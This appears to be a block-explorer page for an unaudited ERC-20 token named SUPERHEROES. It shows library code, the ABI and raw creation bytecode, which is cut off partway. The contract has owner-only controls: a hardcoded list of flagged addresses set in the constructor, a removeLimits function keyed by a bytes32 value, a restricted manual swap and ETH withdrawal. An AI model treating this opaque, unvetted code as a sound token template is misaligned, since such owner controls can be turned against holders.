(uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the percentage of an unsigned integer `a` with respect to the provided percentage `b`, * rounding towards zero. The result is a proportion of the original value. * * The function can be used to calculate a specific percentage of a given value `a`. * Note: this function uses a `revert` opcode (which leaves remaining gas untouched) when * the percentage `b` is greater than 100. * * Requirements: * * - The percentage `b` must be between 0 and 100 (inclusive). */ function per(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= 100, "Percentage must be between 0 and 100"); return a * b / 100; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"isM","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"m","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_deployer","type":"bytes32"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c060405269d3c21bcecceda100000060095569043c33c1937564800000600a5569043c33c1937564800000600b5569021e19e0c9bab2400000600c555f600f5f6101000a81548160ff0219169083151502179055505f600f60016101000a81548160ff0219169083151502179055506014601055601e601155600f60125560056013553480156200008f575f80fd5b5060405162005833380380620058338339818101604052810190620000b5919062001617565b6040518060e0016040528060b581526020016200577e60b591396040518060400160405280600b81526020017f53555045524845524f45530000000000000000000000000000000000000000008152508160039081620001169190620018ab565b508060049081620001289190620018ab565b5050506200014b6200013f6200110260201b60201c565b6200110960201b60201c565b600160065f73ae2fc483527b8ef99eb5d9b44875f005ba1fae1373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f7377223f67d845e3cbcd9cc19287e24e71f722888873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f7377ad3a15b78101883af36ad4a875e17c86ac65d173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f734504dfa3861ec902226278c9cb7a777a0111857473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f73e3df3043f1ceff4ee2705a6bd03b4a37f001029f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f73e545c3cd397be0243475af52bcff8c64e9ead5d773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f73e2ca3167b89b8cf680d63b06e8aeefc5e4ebe90773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f6e05af2ddc1a93a03e9b7014064d3b8d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f731653151fb636544f8ed1e7be91e4483b73523f6b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f72ac6d844810a1bd902220b5f0006100008b000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f73294401773915b1060e582756b8d7f74caf80b09c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f7113de30d1b1d830dcb7d54660f4778d2d4af573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f714ec2008200e43b243a000590d4cd4636000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f73e8c060f8052e07423f71d445277c61ac5138a2e573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f71b8e312942521fb3bf278d2ef2458b0d3f24373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f727933790a4f00000099e9001629d9fe7775b80073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f7376f36d497b51e48a288f03b4c1d7461e92247d5e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f732d2a7d56773ae7d5c7b9f1b57f7be05039447b4d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f73758e8229dd38cf11fa9e7c0d5f790b4ca16b3b1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f7377ad3a15b78101883af36ad4a875e17c86ac65d173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f6fa991c429ee2ec6df19d40fe0c80088b873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f73b20bc46930c412eae124aab8682fb0f2e528f22d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f736c9b7a1e3526e55194530a2699cf70ffde1ab5b773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f731111e3ef0b6ae32e14a55e0e7cd9b8505177c2bf73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f70d40b595b94918a28b27d1e2c66f43a51d373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f73b8feffac830c45b4cd210ecdaab9d11995d338ee73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f7393ffb15d1fa91e0c320d058f00ee97f9e3c5009673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f7027f490acee7f11ab5fdd47209d6422c5a773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f73fb62f1009ada688aa8f544b7954585476ce41a1473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505062000ddf6080516001620011cc60201b60201c565b8060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000e32816001620011cc60201b60201c565b60805173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000e7e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000ea4919062001617565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060805173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000f0c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000f32919062001617565b6040518363ffffffff1660e01b815260040162000f51929190620019a0565b6020604051808303815f875af115801562000f6e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000f94919062001617565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff168152505062000fdc60a0516001620011cc60201b60201c565b62000ff160a05160016200123460201b60201c565b620010016200110260201b60201c565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200106262001054620012d260201b60201c565b6001620012fa60201b60201c565b62001075816001620012fa60201b60201c565b62001088306001620012fa60201b60201c565b6200109d61dead6001620012fa60201b60201c565b620010bf620010b1620012d260201b60201c565b6001620011cc60201b60201c565b620010d2306001620011cc60201b60201c565b620010e761dead6001620011cc60201b60201c565b620010fb33600954620013b260201b60201c565b5062001b81565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620011dc6200151760201b60201c565b8060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b8060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200130a6200151760201b60201c565b8060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620013a69190620019e7565b60405180910390a25050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362001423576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200141a9062001a60565b60405180910390fd5b620014365f8383620015a860201b60201c565b8060025f82825462001449919062001aad565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620014f8919062001af8565b60405180910390a3620015135f8383620015ad60201b60201c565b5050565b620015276200110260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200154d620012d260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620015a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200159d9062001b61565b60405180910390fd5b565b505050565b505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620015e182620015b6565b9050919050565b620015f381620015d5565b8114620015fe575f80fd5b50565b5f815190506200161181620015e8565b92915050565b5f602082840312156200162f576200162e620015b2565b5b5f6200163e8482850162001601565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620016c357607f821691505b602082108103620016d957620016d86200167e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200173d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262001700565b62001749868362001700565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620017936200178d620017878462001761565b6200176a565b62001761565b9050919050565b5f819050919050565b620017ae8362001773565b620017c6620017bd826200179a565b8484546200170c565b825550505050565b5f90565b620017dc620017ce565b620017e9818484620017a3565b505050565b5b818110156200181057620018045f82620017d2565b600181019050620017ef565b5050565b601f8211156200185f576200182981620016df565b6200183484620016f1565b8101602085101562001844578190505b6200185c6200185385620016f1565b830182620017ee565b50505b505050565b5f82821c905092915050565b5f620018815f198460080262001864565b1980831691505092915050565b5f6200189b838362001870565b9150826002028217905092915050565b620018b68262001647565b67ffffffffffffffff811115620018d257620018d162001651565b5b620018de8254620016ab565b620018eb82828562001814565b5f60209050601f83116001811462001921575f84156200190c578287015190505b6200191885826200188e565b86555062001987565b601f1984166200193186620016df565b5f5b828110156200195a5784890151825560018201915060208501945060208101905062001933565b868310156200197a578489015162001976601f89168262001870565b8355505b6001600288020188555050505b505050505050565b6200199a81620015d5565b82525050565b5f604082019050620019b55f8301856200198f565b620019c460208301846200198f565b9392505050565b5f8115159050919050565b620019e181620019cb565b82525050565b5f602082019050620019fc5f830184620019d6565b92915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62001a48601f8362001a02565b915062001a558262001a12565b602082019050919050565b5f6020820190508181035f83015262001a798162001a3a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f62001ab98262001761565b915062001ac68362001761565b925082820190508082111562001ae15762001ae062001a80565b5b92915050565b62001af28162001761565b82525050565b5f60208201905062001b0d5f83018462001ae7565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f62001b4960208362001a02565b915062001b568262001b13565b602082019050919050565b5f6020820190508181035f83015262001b7a8162001b3b565b9050919050565b60805160a051613baa62001bd45f395f8181610df4015261114e01525f8181610ab50152818161105b015281816110840152818161118a0152818161220c015281816122eb01526123120152613baa5ff3fe608060405260043610610212575f3560e01c80638da5cb5b11610117578063c9567bf91161009f578063dd8546521161006e578063dd8546521461079f578063e2f45605146107c9578063f2fde38b146107f3578063f8b45b051461081b578063ffb54a991461084557610219565b8063c9567bf9146106f9578063ca7030751461070f578063cf9522fd14610739578063dd62ed3e1461076357610219565b8063a457c2d7116100e6578063a457c2d714610607578063a9059cbb14610643578063afa4f3b21461067f578063c0246668146106a7578063c8c8ebe4146106cf57610219565b80638da5cb5b1461054f57806395d89b411461057957806397682884146105a35780639a7a23d6146105df57610219565b8063395093511161019a57806370a082311161016957806370a0823114610497578063715018a6146104d35780637571336a146104e9578063881dce601461051157806389291a8f1461053957610219565b806339509351146103cb5780634fbee19314610407578063583e0568146104435780636ddd17131461046d57610219565b80632315bf14116101e15780632315bf14146102d757806323b872dd14610313578063311028af1461034f578063313ce567146103795780633295bc6d146103a357610219565b806306fdde031461021d578063095ea7b3146102475780630c6b67371461028357806318160ddd146102ad57610219565b3661021957005b5f80fd5b348015610228575f80fd5b5061023161086f565b60405161023e919061288a565b60405180910390f35b348015610252575f80fd5b5061026d6004803603810190610268919061293b565b6108ff565b60405161027a9190612993565b60405180910390f35b34801561028e575f80fd5b50610297610921565b6040516102a491906129bb565b60405180910390f35b3480156102b8575f80fd5b506102c1610927565b6040516102ce91906129bb565b60405180910390f35b3480156102e2575f80fd5b506102fd60048036038101906102f891906129d4565b610930565b60405161030a9190612993565b60405180910390f35b34801561031e575f80fd5b50610339600480360381019061033491906129ff565b610982565b6040516103469190612993565b60405180910390f35b34801561035a575f80fd5b506103636109b0565b60405161037091906129bb565b60405180910390f35b348015610384575f80fd5b5061038d6109b6565b60405161039a9190612a6a565b60405180910390f35b3480156103ae575f80fd5b506103c960048036038101906103c49190612ab6565b6109be565b005b3480156103d6575f80fd5b506103f160048036038101906103ec919061293b565b610a2b565b6040516103fe9190612993565b60405180910390f35b348015610412575f80fd5b5061042d600480360381019061042891906129d4565b610a61565b60405161043a9190612993565b60405180910390f35b34801561044e575f80fd5b50610457610ab3565b6040516104649190612b3c565b60405180910390f35b348015610478575f80fd5b50610481610ad7565b60405161048e9190612993565b60405180910390f35b3480156104a2575f80fd5b506104bd60048036038101906104b891906129d4565b610aea565b6040516104ca91906129bb565b60405180910390f35b3480156104de575f80fd5b506104e7610b2f565b005b3480156104f4575f80fd5b5061050f600480360381019061050a9190612b7f565b610b42565b005b34801561051c575f80fd5b5061053760048036038101906105329190612bbd565b610ba2565b005b348015610544575f80fd5b5061054d610c85565b005b34801561055a575f80fd5b50610563610d15565b6040516105709190612bf7565b60405180910390f35b348015610584575f80fd5b5061058d610d3d565b60405161059a919061288a565b60405180910390f35b3480156105ae575f80fd5b506105c960048036038101906105c491906129d4565b610dcd565b6040516105d69190612993565b60405180910390f35b3480156105ea575f80fd5b5061060560048036038101906106009190612b7f565b610dea565b005b348015610612575f80fd5b5061062d6004803603810190610628919061293b565b610e8e565b60405161063a9190612993565b60405180910390f35b34801561064e575f80fd5b506106696004803603810190610664919061293b565b610f03565b6040516106769190612993565b60405180910390f35b34801561068a575f80fd5b506106a560048036038101906106a09190612bbd565b610f25565b005b3480156106b2575f80fd5b506106cd60048036038101906106c89190612b7f565b610f4a565b005b3480156106da575f80fd5b506106e3610ff8565b6040516106f091906129bb565b60405180910390f35b348015610704575f80fd5b5061070d610ffe565b005b34801561071a575f80fd5b5061072361125f565b60405161073091906129bb565b60405180910390f35b348015610744575f80fd5b5061074d611265565b60405161075a91906129bb565b60405180910390f35b34801561076e575f80fd5b5061078960048036038101906107849190612c10565b61126b565b60405161079691906129bb565b60405180910390f35b3480156107aa575f80fd5b506107b36112ed565b6040516107c091906129bb565b60405180910390f35b3480156107d4575f80fd5b506107dd6112f3565b6040516107ea91906129bb565b60405180910390f35b3480156107fe575f80fd5b50610819600480360381019061081491906129d4565b6112f9565b005b348015610826575f80fd5b5061082f61137b565b60405161083c91906129bb565b60405180910390f35b348015610850575f80fd5b50610859611381565b6040516108669190612993565b60405180910390f35b60606003805461087e90612c7b565b80601f01602080910402602001604051908101604052809291908181526020018280546108aa90612c7b565b80156108f55780601f106108cc576101008083540402835291602001916108f5565b820191905f5260205f20905b8154815290600101906020018083116108d857829003601f168201915b5050505050905090565b5f80610909611393565b905061091681858561139a565b600191505092915050565b600e5481565b5f600254905090565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f8061098c611393565b905061099985828561155d565b6109a48585856115e8565b60019150509392505050565b60095481565b5f6012905090565b6109c6611ffd565b6109cf8161207b565b610a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0590612cf5565b60405180910390fd5b5f610a17610927565b905080600a8190555080600b819055505050565b5f80610a35611393565b9050610a56818585610a47858961126b565b610a519190612d40565b61139a565b600191505092915050565b5f60145f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600f60019054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b37611ffd565b610b405f6120ac565b565b610b4a611ffd565b8060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be2611393565b73ffffffffffffffffffffffffffffffffffffffff1614610c01575f80fd5b5f610c0a610927565b90505f610c1630610aea565b90505f60648484610c279190612d73565b610c319190612de1565b905080821015610c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6d90612e5b565b60405180910390fd5b610c7f8161216f565b50505050565b610c8d611ffd565b5f4711610ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc690612ec3565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d12573d5f803e3d5ffd5b50565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610d4c90612c7b565b80601f0160208091040260200160405190810160405280929190818152602001828054610d7890612c7b565b8015610dc35780601f10610d9a57610100808354040283529160200191610dc3565b820191905f5260205f20905b815481529060010190602001808311610da657829003601f168201915b5050505050905090565b6006602052805f5260405f205f915054906101000a900460ff1681565b610df2611ffd565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7790612f51565b60405180910390fd5b610e8a82826123c3565b5050565b5f80610e98611393565b90505f610ea5828661126b565b905083811015610eea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee190612fdf565b60405180910390fd5b610ef7828686840361139a565b60019250505092915050565b5f80610f0d611393565b9050610f1a8185856115e8565b600191505092915050565b610f2d611ffd565b670de0b6b3a764000081610f419190612d73565b600c8190555050565b610f52611ffd565b8060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051610fec9190612993565b60405180910390a25050565b600a5481565b611006611ffd565b600f5f9054906101000a900460ff1615611055576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104c90613047565b60405180910390fd5b611082307f000000000000000000000000000000000000000000000000000000000000000060095461139a565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110dc60506110ce30610aea565b61246190919063ffffffff16565b5f806110e6610d15565b426040518863ffffffff1660e01b81526004016111089695949392919061309e565b60606040518083038185885af1158015611124573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906111499190613111565b5050507f0000000000000000000000000000000000000000000000000000000000000